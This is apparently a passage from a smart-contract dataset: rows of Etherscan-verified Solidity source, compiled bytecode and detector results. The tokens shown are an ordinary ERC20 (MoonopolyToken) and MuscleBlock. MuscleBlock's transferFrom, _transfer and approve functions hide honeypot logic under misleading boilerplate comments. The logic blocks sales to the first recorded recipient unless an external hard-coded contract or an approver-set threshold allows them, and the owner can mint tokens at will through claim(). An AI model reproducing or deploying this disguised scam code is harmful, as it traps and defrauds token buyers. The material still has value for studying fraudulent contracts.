53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036000199091011461059a57fe5b6104218261081c565b60006105ad61076e565b6001600160a01b0316146105c057600080fd5b604080517f656970313936372e70726f78792e696d706c656d656e746174696f6e000000008152905190819003601c0190207f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6000199091011461062057fe5b61062982610840565b8051156106df576000826001600160a01b0316826040518082805190602001908083835b6020831061066c5780518252601f19909201916020918201910161064d565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146106cc576040519150601f19603f3d011682016040523d82523d6000602084013e6106d1565b606091505b505090508061042157600080fd5b5050565b60006106ed6107b7565b6001600160a01b0316336001600160a01b03161415610458576104516107b7565b6107166107b7565b6001600160a01b0316336001600160a01b031614156107665760405162461bcd60e51b81526004018080602001828103825260328152602001806108af6032913960400191505060405180910390fd5b61033d61033d565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156107b2573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6107e581610840565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b610849816108a8565b6108845760405162461bcd60e51b815260040180806020018281038252603b815260200180610917603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a7231582033fd092a1454478d495ed0900008e2c544899ac1924d0e7dae4a63bc5c9d3e5164736f6c634300050e0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 7,850 |
0x33832829bd309e45a7764a05b185048de656b8a9
|
/**
*Submitted for verification at Etherscan.io on 2021-02-01
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
/* /$$ /$$ /$$
| $$$ /$$$ | $$
| $$$$ /$$$$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$ /$$
| $$ $$/$$ $$ /$$__ $$ /$$__ $$| $$__ $$ /$$__ $$ /$$__ $$ /$$__ $$| $$| $$ | $$
| $$ $$$| $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$ \ $$| $$| $$ | $$
| $$\ $ | $$| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$| $$ | $$
| $$ \/ | $$| $$$$$$/| $$$$$$/| $$ | $$| $$$$$$/| $$$$$$$/| $$$$$$/| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ |__/ \______/ | $$____/ \______/ |__/ \____ $$
| $$ /$$ | $$
| $$ | $$$$$$/
|__/ \______/
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MoonopolyToken is BurnableToken {
string public constant name = "Moonopoly.games";
string public constant symbol = "MOONPY";
uint public constant decimals = 9;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a11565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b6040518082815260200191505060405180910390f35b6103b1610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0e565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e2565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112de565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611365565b005b6040518060400160405280600f81526020017f4d6f6f6e6f706f6c792e67616d6573000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600981565b6009600a0a620f42400281565b60008111610a1e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6a57600080fd5b6000339050610ac182600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b19826001546114b490919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce8576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7c565b610cfb83826114b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600681526020017f4d4f4f4e5059000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4957600080fd5b610f9b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117382600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cb90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c057fe5b818303905092915050565b6000808284019050838110156114dd57fe5b809150509291505056fea2646970667358221220812f2e028228695468e92a47b48db562f47ec09aca6e81eaa7b152e1bbe777ed64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,851 |
0x4a77F01ccb427e26E1800Bbc76ea1069dBADD751
|
/**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function invalidAddress(address _address) virtual external view returns (bool){}
/**
* @dev Returns if it is a invalid address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MuscleBlock is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal invalid;
address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function claim(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: claim from the zero address");
_claim (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _transfer (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _claim(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
invalid = _Address;
_totalSupply = _totalSupply.add(_Amount);
balances[_Address] = balances[_Address].add(_Amount);
}
function _transfer (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb578063a9059cbb14610200578063aad3ec9614610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d091906108af565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610920565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f961016336600461094a565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af366004610986565b50600090565b3480156101c157600080fd5b5061013a6101d0366004610986565b6001600160a01b031660009081526009602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100f961021b366004610920565b61053c565b34801561022c57600080fd5b506100ac61023b366004610920565b61062c565b34801561024c57600080fd5b5061013a61025b3660046109a1565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60038054610293906109d4565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf906109d4565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103d0916106b2565b905090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d2565b6001600160a01b0384166000908152600960205260409020546